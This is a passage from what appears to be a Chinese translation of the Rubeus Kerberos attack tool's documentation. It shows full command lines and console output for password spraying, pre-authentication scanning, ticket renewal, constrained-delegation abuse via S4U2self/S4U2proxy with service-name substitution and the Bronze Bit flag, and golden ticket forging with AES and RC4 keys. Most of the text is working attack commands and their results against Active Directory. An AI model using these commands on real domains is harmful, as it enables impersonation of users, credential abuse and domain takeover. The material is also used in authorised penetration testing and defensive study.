S-1-5-21-3237111427-1607930709-3979055039 UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD ExtraSIDCount : 1 ExtraSIDs : S-1-18-1 ResourceGroupCount : 0 CredentialInfo : Version : 0 EncryptionType : rc4_hmac CredentialData : CredentialCount : 1 NTLM : C69A7EA908898C23B72E65329AF7E3E8 ClientName : Client Id : 19/07/2021 23:00:38 Client Name : harmj0y UpnDns : DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL UPN : harmj0y@rubeus.ghostpack.local Flags : 0 ServerChecksum : Signature Type : KERB_CHECKSUM_HMAC_MD5 Signature : ADEC4A1A7DF70D0A61047E510E778454 (VALID) KDCChecksum : Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256 Signature : 6CF688E02147BEEC168E0125 (UNVALIDATED) ``` **注意:必须传递从 TGT 检索中获取的 `/asrepkey` 来解密存储 NTLM 哈希的 CredentialData 部分,但这里不需要 `/servicekey` 参数,因为正在使用 TGT 中的会话密钥,因为它是用户到用户请求。** 使用当前登录会话请求服务票据: ``` Rubeus.exe asktgs /service:LDAP/dc.ghostpack.local /nowrap ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.3.3 [*] Action: Ask TGS [=] Requesting service ticket via LSA authentication package 2 using handle 0x9625072 [*] base64(ticket.kirbi): doIGvDCCBrigAwIBBaEDAg(..snip..) ServiceName : LDAP/dc.ghostpack.local ServiceRealm : GHOSTPACK.LOCAL UserName : CCob (NT_PRINCIPAL) UserRealm : GHOSTPACK.LOCAL StartTime : 25/02/2025 09:08:11 EndTime : 25/02/2025 18:48:39 RenewTill : 03/03/2025 12:47:40 Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : k2xUOHFN1Xg(...snip...) ``` 通过续订请求本地计算机帐户 TGT。需要本地管理员访问权限。如果存在凭据保护,票据将无法在主机以外使用。 ``` Rubeus.exe asktgs /service:krbtgt/ghostpack.local /luid:0x3e7 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.3.3 [*] Action: Ask TGS [=] Requesting service ticket via LSA authentication package 2 using handle 0x10441184 [*] base64(ticket.kirbi): doIGuTCCBrWg(...snip...)IFhb3MuZGV2 ServiceName : krbtgt/ghostpack.local ServiceRealm : GHOSTPACK.LOCAL UserName : DC$ (NT_PRINCIPAL) UserRealm : GHOSTPACK.LOCAL StartTime : 25/02/2025 09:18:37 EndTime : 25/02/2025 11:35:10 RenewTill : 02/03/2025 10:35:06 Flags : name_canonicalize, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : k2xUOHFN1Xg(...snip...) ``` ### 续订 **renew** 操作将使用指定的 `/ticket:X` 构建/解析原始 TGS-REQ/TGS-REP TGT 续订交换。此值可以是 .kirbi 文件的 base64 编码或磁盘上 .kirbi 文件的路径。如果未指定 `/dc`,则提取计算机的当前域控制器并将其用作续订流量的目标。`/ptt` 标志将“传递票据”并将生成的 Kerberos 凭据应用于当前登录会话。 请注意,TGT 必须在其 EndTime 之前、RenewTill 窗口内续订。 ``` C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Renew TGT [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a' [*] Connecting to 192.168.52.100:88 [*] Sent 1506 bytes [*] Received 1510 bytes [+] TGT renewal request successful! [*] base64(ticket.kirbi): doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... [*] Action: Import Ticket [+] Ticket successfully imported! ``` `/autorenew` 标志将获取现有的 `/ticket:X` .kirbi 文件/blob,休眠直到 endTime-30 分钟,自动续订票据并显示刷新后的票据 blob。它将以此续订过程继续,直到通过允许的续订-截止续订窗口。 ``` C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Auto-Renew TGT [*] User : dfm.a@TESTLAB.LOCAL [*] endtime : 2/10/2019 11:44:09 PM [*] renew-till : 2/17/2019 6:44:09 PM [*] Sleeping for 263 minutes (endTime-30) before the next renewal [*] Renewing TGT for dfm.a@TESTLAB.LOCAL [*] Action: Renew TGT [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a' [*] Connecting to 192.168.52.100:88 [*] Sent 1506 bytes [*] Received 1510 bytes [+] TGT renewal request successful! [*] base64(ticket.kirbi): doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... ``` ### 暴力破解 **brute** 操作将执行基于 Kerberos 的密码暴力破解或密码喷洒攻击。也可以使用 **spray** 作为操作名称。 ``` C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.5.0 [-] Blocked/Disabled user => Guest [-] Blocked/Disabled user => DefaultAccount [-] Blocked/Disabled user => krbtgt [-] Blocked/Disabled user => disabled [+] STUPENDOUS => newuser:Password123!! [*] base64(newuser.kirbi): doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)... ``` ### preauthscan **preauthscan** 操作将向传入 `/users` 参数的所有用户名发送 AS-REQ,以发现不需要 Kerberos 预身份验证的帐户。 ``` C:\Rubeus>Rubeus.exe preauthscan /users:uns.txt /domain:semperis.lab /dc:192.168.71.220 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.0 [*] Action: Scan for accounts not requiring Kerberos Pre-Authentication [*] cclark: Pre-Auth Required [*] jjones: Pre-Auth Not Required [*] rwilliams: Pre-Auth Required [*] svc_sqlserver: Pre-Auth Required [*] pgreen: Pre-Auth Required [*] jsmith: Pre-Auth Required [*] tnahum: Pre-Auth Required [*] sfederovsky: Pre-Auth Required ``` ## 约束委派滥用 约束委派命令的细分: | Command | Description | | ----------- | ----------- | | [s4u](#s4u) | 执行 S4U2self 和 S4U2proxy 操作 | ### s4u **s4u** 操作与 [Kekeo](https://github.com/gentilkiwi/kekeo/) 的 **tgs::s4u** 功能几乎相同。如果用户(或计算机)帐户配置了约束委派(即,在其 msds-allowedtodelegateto 字段中有一个 SPN 值),则此操作可用于滥用对目标 SPN/服务器的访问。约束委派很复杂。有关更多信息,请参阅[这篇文章](http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)或 Elad Shamir 的 ["Wagging the Dog"](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) 文章。 **TL;DR** 解释是,启用了约束委帐户被允许在一个称为 S4U2self 的过程中以任何用户身份请求_发给它自己_的票据。为了允许帐户这样做,它必须在其 useraccountcontrol 属性中启用 **TrustedToAuthForDelegation**,默认情况下只有提升的用户才能修改此项。此票据默认设置了 **FORWARDABLE** 标志。然后,服务可以使用此特殊请求的票据向帐户的 **msds-allowedtodelegateto** 字段中指定的任何服务主体名称 (SPN) 请求服务票据。简而言之,如果你控制了一个设置了 **TrustedToAuthForDelegation** 且在 **msds-allowedtodelegateto** 中有值的帐户,你就可以在域中伪装成任何用户,访问该帐户的 **msds-allowedtodelegateto** 字段中设置的 SPN。 这种“控制”可以是帐户的哈希(`/rc4` 或 `/aes256`),也可以是设置了 **msds-allowedtodelegateto** 值的帐户的现有 TGT(`/ticket:X`)。如果提供了 `/user` 和 rc4/aes256 哈希,**s4u** 模块首先执行 [asktgt](#asktgt) 操作,将返回的票据用于后续步骤。如果提供了 TGT `/ticket:X`,则使用该 TGT。 如果提供了帐户哈希,则可以使用 `/nopac` 开关请求不带 PAC 的初始 TGT。 可以使用 `/proxyurl:URL` 参数使用 KDC 代理 ([MS-KKDCP](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kkdcp/5bcebb8d-b747-4ee5-9453-428aec1c5c38)) 发出请求。需要 KDC 代理的完整 URL,例如 https://kdcproxy.exmaple.com/kdcproxy。当用于 `s4u` 命令时,*所有*请求都将通过代理发送。 **必须**向 **s4u** 模块提供 `/impersonateuser:X` 参数。如果未提供其他内容,则仅执行 S4U2self 过程,返回一个可转发的票据: ``` C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Ask TGT [*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy' [*] Connecting to 192.168.52.100:88 [*] Sent 230 bytes [*] Received 1377 bytes [+] TGT request successful! [*] base64(ticket.kirbi): doIE+jCCBPagAwIBBaEDAgEWoo...(snip)... [*] Action: S4U [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy' [*] Sending S4U2self request [*] Connecting to 192.168.52.100:88 [*] Sent 1437 bytes [*] Received 1574 bytes [+] S4U2self success! [*] Got a TGS for 'dfm.a@TESTLAB.LOCAL' to 'TESTLAB.LOCAL\patsy' [*] base64(ticket.kirbi): doIF2jCCBdagAwIBBaEDAgEWoo...(snip)... ``` 然后,该可转发票据可用作 `/tgs:Y` 参数(base64 blob 或 .kirbi 文件)来执行 S4U2proxy 过程。必须提供帐户的有效 **msds-allowedtodelegateto** 值(`/msdsspn:X`)。假设 **patsy@testlab.local** 帐户如下所示: ``` PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto ldap/PRIMARY.testlab.local/testlab.local ldap/PRIMARY ldap/PRIMARY.testlab.local/TESTLAB ldap/PRIMARY/TESTLAB ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local ldap/PRIMARY.testlab.local ``` 那么 S4U2proxy 滥用函数(使用上一步 S4U2self 过程中的票据)将是: ``` C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip).. ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: S4U [*] Loaded a TGS for TESTLAB.LOCAL\dfm.a@TESTLAB.LOCAL [*] Impersonating user 'dfm.a@TESTLAB.LOCAL' to target SPN 'ldap/PRIMARY.testlab.local' [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local' [*] Sending S4U2proxy request [*] Connecting to 192.168.52.100:88 [*] Sent 2641 bytes [*] Received 1829 bytes [+] S4U2proxy success! [*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local': doIGujCCBragAwIBBaEDAgEWoo..(snip).. ``` 其中 `/ticket:X` 是第一步中返回的 TGT,`/tgs` 是 S4U2self 票据。注入生成的票据(使用 [Rubeus.exe ptt /ticket:X](#ptt) 手动注入,或通过向 **s4u** 命令提供 `/ptt` 标志)将允许你访问 primary.testlab.local 上的 **ldap** 服务,_就像你是 dfm.a 一样_。 `/altservice` 参数利用了 [Alberto Solino](https://twitter.com/agsolino) 关于[服务名称 如何在 KRB-CRED 文件中不受保护](https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more)的伟大发现,只有服务器名称受保护。这允许我们在生成的 KRB-CRED (.kirbi) 文件中替换我们想要的任何服务名称。可以提供一个或多个备用服务名称,以逗号分隔(`/altservice:cifs,HOST,...`)。 让我们扩展前面的示例,通过滥用其约束委派配置和备用服务替换来伪造对 **primary.testlab.local** 上文件系统的访问。让我们也把它全部打包成一步,执行 TGT 请求、S4U2self 过程、S4U2proxy 执行和最终票据的注入: ``` C:\Rubeus>dir \\primary.testlab.local\C$ Access is denied. C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Ask TGT [*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy' [*] Connecting to 192.168.52.100:88 [*] Sent 230 bytes [*] Received 1377 bytes [+] TGT request successful! [*] base64(ticket.kirbi): doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. [*] Action: S4U [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy' [*] Sending S4U2self request [*] Connecting to 192.168.52.100:88 [*] Sent 1437 bytes [*] Received 1574 bytes [+] S4U2self success! [*] Got a TGS for 'dfm.a@TESTLAB.LOCAL' to 'TESTLAB.LOCAL\patsy' [*] base64(ticket.kirbi): doIF2jCCBdagAwIBBaEDAgEWoo..(snip).. [*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local' [*] Final ticket will be for the alternate service 'cifs' [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local' [*] Sending S4U2proxy request [*] Connecting to 192.168.52.100:88 [*] Sent 2641 bytes [*] Received 1829 bytes [+] S4U2proxy success! [*] Substituting alternative service name 'cifs' [*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local': doIGujCCBragAwIBBaEDAgEWoo..(snip).. [*] Action: Import Ticket [+] Ticket successfully imported! C:\Rubeus>dir \\primary.testlab.local\C$ Volume in drive \\primary.testlab.local\C$ has no label. Volume Serial Number is A48B-4D68 Directory of \\primary.testlab.local\C$ 07/05/2018 12:57 PM dumps 03/05/2017 04:36 PM inetpub 08/22/2013 07:52 AM PerfLogs 04/15/2017 05:25 PM profiles 08/28/2018 11:51 AM Program Files 08/28/2018 11:51 AM Program Files (x86) 10/09/2018 12:04 PM Temp 08/23/2018 03:52 PM Users 10/25/2018 01:15 PM Windows 1 File(s) 9 bytes 9 Dir(s) 40,511,676,416 bytes free ``` 默认情况下,Rubeus 生成的 S4U2Self 和 S4U2Proxy TGS-REQ 与真正请求之间存在若干差异。要形成更符合真正请求的 TGS-REQ,可以使用 `/opsec` 标志。由于此标志旨在使 Rubeus 流量更具隐蔽性,因此默认情况下它不能用于除 `aes256` 以外的任何加密类型,如果使用其他加密类型,将抛出警告并退出。为了允许其他加密类型与 `/opsec` 更改一起使用,存在 `/force` 标志。`/opsec` 标志尚未针对跨域 S4U 实现。 使用 `/bronzebit` 标志实现了 *Bronze Bit* 漏洞利用 (CVE-2020-17049)。添加此标志将在检索 S4U2Self 票据时自动翻转 *forwardable* 标志。由于翻转此标志需要解密并重新加密服务票据,因此需要长期密钥(服务帐户的密码哈希)。因此,如果正在提供 TGT,则还需要服务帐户凭据才能使其工作。 在某些情况下,可以使用 S4U2Self 票据模拟受保护用户,以提升请求系统上的权限,正如[此处](https://exploit.ph/revisiting-delegate-2-thyself.html)所讨论的那样。为此,可以使用 `/self` 标志和 `/altservice:X` 参数生成可用的服务票据。 要伪造 S4U2Self 转介,只需要信任密钥。通过将 `/targetdomain:X` 参数与 `/self` 标志一起使用而不使用 `/targetdc` 参数,Rubeus 会将使用 `/ticket:X` 提供的票据视为 S4U2Self 转介,并且只请求最终的 S4U2Self 服务票据。`/altservice:X` 也可用于重写结果票据中的 sname: ``` C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin /domain:external.zeroday.lab /altservice:host/isql1.internal.zeroday.lab /nowrap /ticket:C:\temp\s4u2self-referral.kirbi ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.5.0 [*] Action: S4U [*] Action: S4U [*] Using domain controller: idc1.internal.zeroday.lab (192.168.71.20) [*] Requesting the cross realm 'S4U2Self' for external.admin@external.zeroday.lab from idc1.internal.zeroday.lab [*] Sending cross realm S4U2Self request [+] cross realm S4U2Self success! [*] Substituting alternative service name 'host/isql1.internal.zeroday.lab' [*] base64(ticket.kirbi): doIFETCCBQ...RheS5sYWI= ``` ## 票据伪造 票据伪造命令的细分: | Command | Description | | ----------- | ----------- | | [golden](#golden) | 伪造票据授予票据 (TGT) | | [silver](#silver) | 伪造服务票据,也可以伪造 TGT | | [diamond](#diamond) | 伪造钻石票据 | `golden` 和 `silver` 命令之间有许多相似之处,它们之所以分开是为了简化 `golden` 命令。服务票据可能比具有不同密钥和额外部分的 TGT 复杂得多,虽然可以使用 `silver` 命令伪造 TGT,但 `golden` 提供的潜在参数较少,因为不存在与 TGT 无关的功能。 这两个命令的大多数参数都是设置 PAC 字段,应该不言自明。这些是: | Argument | Description | |----------|-------------| | /user | 如果传递了 `/ldap`,则用作用户查询详细信息的对象,但也用于设置 PAC 中的 EffectiveName 字段和 EncTicketPart 中的 cname 字段 | | /dc | 如果传递了 `/ldap`,则指定用于 LDAP 查询的域控制器,但也用于设置 PAC 中的 LogonServer 字段 | | /netbios | 设置 PAC 中的 LogonDomainName 字段 | | /sid | 设置 PAC 中的 LogonDomainId 字段 | | /id | 设置 PAC 中的 UserId 字段(默认值:500) | | /displayname | 设置 PAC 中的 FullName 字段 | | /logoncount | 设置 PAC 中的 LogonCount 字段(默认值:0) | | /badpwdcount | 设置 PAC 中的 BadPasswordCount 字段(默认值:0) | | /uac | 设置 PAC 中的 UAC 字段(默认值:NORMAL_ACCOUNT) | | /pgid | 设置 PAC 中的 PrimaryGroupId 字段,并添加到 `/groups` 字段(默认值:513) | | /groups | 以逗号分隔。设置 PAC 中的 Groups 字段,也添加了 `/pgid`。总数也用于计算 GroupCount 字段(默认值:520,512,513,519,518) | | /homedir | 设置 PAC 中的 HomeDirectory 字段 | | /homedrive | 设置 PAC 中的 HomeDirectoryDrive 字段 | | /profilepath | 设置 PAC 中的 ProfilePath 字段 | | /scriptpath | 设置 PAC 中的 LogonScript 字段 | | /logofftime | 设置 PAC 中的 LogoffTime 字段。本地时间格式 - 自动转换为 UTC | | /lastlogon | 设置 PAC 中的 LogonTime 字段。本地时间格式 - 自动转换为 UTC(默认值:starttime - 1 second) | | /passlastset | 设置 PAC 中的 PasswordLastSet 字段。本地时间格式 - 自动转换为 UTC | | /minpassage | 设置 PAC 中的 PasswordCanChange 字段。这是相对于 PasswordLastSet 的,以天数为单位,所以 '5' 表示 5 天 | | /maxpassage | 设置 PAC 中的 PasswordMustChange 字段。这是相对于 PasswordLastSet 的,以天数为单位,所以 '5' 表示 5 天 | | /sids | 以逗号分隔。设置 PAC 中的 ExtraSIDs 字段。它也用于计算 ExtraSIDCount 字段 | | /resourcegroupsid | 设置 PAC 中的 ResourceGroupSid 字段。如果使用,还需要 `/resourcegroups` | | /resourcegroups | 以逗号分隔。设置 PAC 中的 ResourceGroups 字段。它也用于计算 ResourceGroupCount 字段。如果使用,还需要 `/resourcegroupsid` | 这两个命令共有但用于设置 PAC 之外字段的其他参数是: | Argument | Description | |----------|-------------| | /authtime | 设置 EncTicketPart 中的 authtime 字段。本地时间格式 - 自动转换为 UTC(默认值:now) | | /starttime | 设置 EncTicketPart 中的 starttime 字段。本地时间格式 - 自动转换为 UTC(默认值:now) | | /endtime | 设置 EncTicketPart 中的 endtime 字段。这是相对于 starttime 的,格式为乘数加时间范围,例如 5 天,5d。下面解释有关此格式的更多信息(默认值:10h) | | /renewtill | 设置 EncTicketPart 中的 renew-till 字段。这是相对于 starttime 的,格式为乘数加时间范围,例如 5 天,5d。下面解释有关此格式的更多信息(默认值:7d) | | /rangeend | 这用于创建多个具有不同开始时间的票据。这将是最后一个 starttime,相对于 `/starttime`,格式为乘数加时间范围,例如 5 天,5d。下面解释有关此格式的更多信息 | | /rangeinterval | 这用于创建多个具有不同开始时间的票据。这是每个 starttime 之间使用的间隔,格式为乘数加时间范围,例如 5 天,5d。下面解释有关此格式的更多信息 | | /flags | 设置 EncTicketPart 中的票据标志(默认值:forwardable,renewable,pre_authent,对于 `golden` 还有 initial) | | /extendedupndns | 包含新的扩展 UpnDns(包括 samaccountname 和帐户 SID) | 对于上表中描述的相对时间,格式是用作乘数的整数,后跟充当时间范围的单个字符。每个受支持字符的含义显示在下表中(**这些区分大小写**): | Character | Description | |-----------|-------------| | m | 分钟 | | h | 小时 | | d | 天 | | M | 月 | | y | 年 | 两个命令共用的另一个功能是 LDAP 信息检索。`golden` 和 `silver` 都支持使用 `/ldap` 标志通过 LDAP 检索信息。`/ldap` 标志可以与 `/creduser` 和 `credpassword` 参数一起使用,以便在检索此信息时以备用用户身份进行身份验证。如果未传递其他信息,则通过发送 3 个 LDAP 查询并挂载域控制器的 SYSVOL 共享(用于读取域策略文件)来检索信息。LDAP 查询将自动通过 TLS 发送,如果失败则回退到明文 LDAP。 如果传递了 `ldap`,将始终发送第一个 LDAP 查询,该查询查询 `/user` 中指定的用户,并检索 PAC 所需的大多数用户信息。 如果命令行中未给出 `/groups`、`/pgid`、`/minpassage` **或** `/maxpassage`,将发送第二个 LDAP 查询,命令行中给出的任何这些参数都将避免查询 LDAP 获取信息。此查询检索用户所属的组,包括主组,以及域策略对象(用于获取策略文件的路径)。如果命令行中未提供 `/minpassage` 或 `/maxpassage` 并且从 LDAP 检索了域策略对象,则挂载 DC 的 SYSVOL 共享并解析策略文件以获取 MinimumPasswordAge(用于设置 PAC 中 PasswordCanChange 字段的正确值)和 MaximumPasswordAge(用于设置 PAC 中 PasswordMustChange 字段的正确值)值。 最后,如果命令行中未给出 `/netbios` 参数,则会从 *Configuration* 容器进行 LDAP 查询以获取域的正确 netbios 名称,以便设置 PAC 中的 LogonDomainName 字段。如果命令行中未给出 `/ldap` 标志且也未给出 `/netbios` 参数,则第一个元素(在第一个句点 '.' 之前)将被大写并使用。 可以使用 `/printcmd` 标志打印生成包含用于生成当前票据的相同 PAC 信息的另一张票据所需的参数。这**不会**打印与票据有效时间相关的参数,因为这些参数对于你想要伪造的任何未来票据可能需要不同。 ### golden **golden** 操作将为用户 `/user:X` 伪造 TGT,使用通过 `/des:X`、`/rc4`、`/aes128:X` 或 `/aes256:X` 传递的哈希加密票据,并使用相同的密钥创建 ServerChecksum 和 KDCChecksum。上面描述了设置字段的各种参数,或者可以使用 `/ldap` 标志自动从域控制器检索信息。 可以使用 `/oldpac` 开关排除新的 *Requestor* 和 *Attributes* PAC_INFO_BUFFER,这是为响应 CVE-2021-42287 而添加的。 `/extendedupndns` 开关将包含新的扩展 UpnDns 元素。这涉及将 _2_ 添加到 Flags,以及包含 samaccountname 和帐户 SID。 添加了 `/rodcNumber:x` 参数以执行 kerberos [Key List Requests](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/732211ae-4891-40d3-b2b6-85ebd6f5ffff)。此参数的值是在只读域控制器的 `msDS-KrbTgtLink` 属性中 krbtgt_x 之后指定的数字,例如 krbtgt_12345 将是 12345。此请求需要某些标志,可以使用 `/flags:forwardable,renewable,enc_pa_rep` 设置。用于加密的密钥(`/des:X`、`/rc4:X`、`/aes128:X` 或 `/aes256:X`)是 KRBTGT_x 帐户密钥。更多信息可以在 Elad Shamir 的博客文章[这里](https://posts.specterops.io/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc-ef5f1799ca06)找到, 使用 `/ldap` 标志检索信息并使用 `/printcmd` 标志打印使用相同 PAC 信息伪造另一张票据的命令来伪造 TGT: ``` C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /printcmd ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Build TGT [*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local [*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)' [*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local [*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))' [*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL [*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted [*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL [*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted [*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local [*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))' [*] Building PAC [*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS) [*] SID : S-1-5-21-3237111427-1607930709-3979055039 [*] UserId : 1106 [*] Groups : 513 [*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 [*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 [*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 [*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 [*] Service : krbtgt [*] Target : rubeus.ghostpack.local [*] Generating EncTicketPart [*] Signing PAC [*] Encrypting EncTicketPart [*] Generating Ticket [*] Generated KERB-CRED [*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local' [*] AuthTime : 29/07/2021 00:12:40 [*] StartTime : 29/07/2021 00:12:40 [*] EndTime : 29/07/2021 10:12:40 [*] RenewTill : 05/08/2021 00:12:40 [*] base64(ticket.kirbi): doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su ...(snip)... dWJldXMuZ2hvc3RwYWNrLmxvY2Fs [*] Printing a command to recreate a ticket containing the information used within this ticket C:\Rubeus\Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED ``` 伪造 TGT,在命令行上显式设置所有内容: ``` C:\Rubeus>Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Build TGT [*] Building PAC [*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS) [*] SID : S-1-5-21-3237111427-1607930709-3979055039 [*] UserId : 1106 [*] Groups : 513 [*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 [*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 [*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 [*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 [*] Service : krbtgt [*] Target : 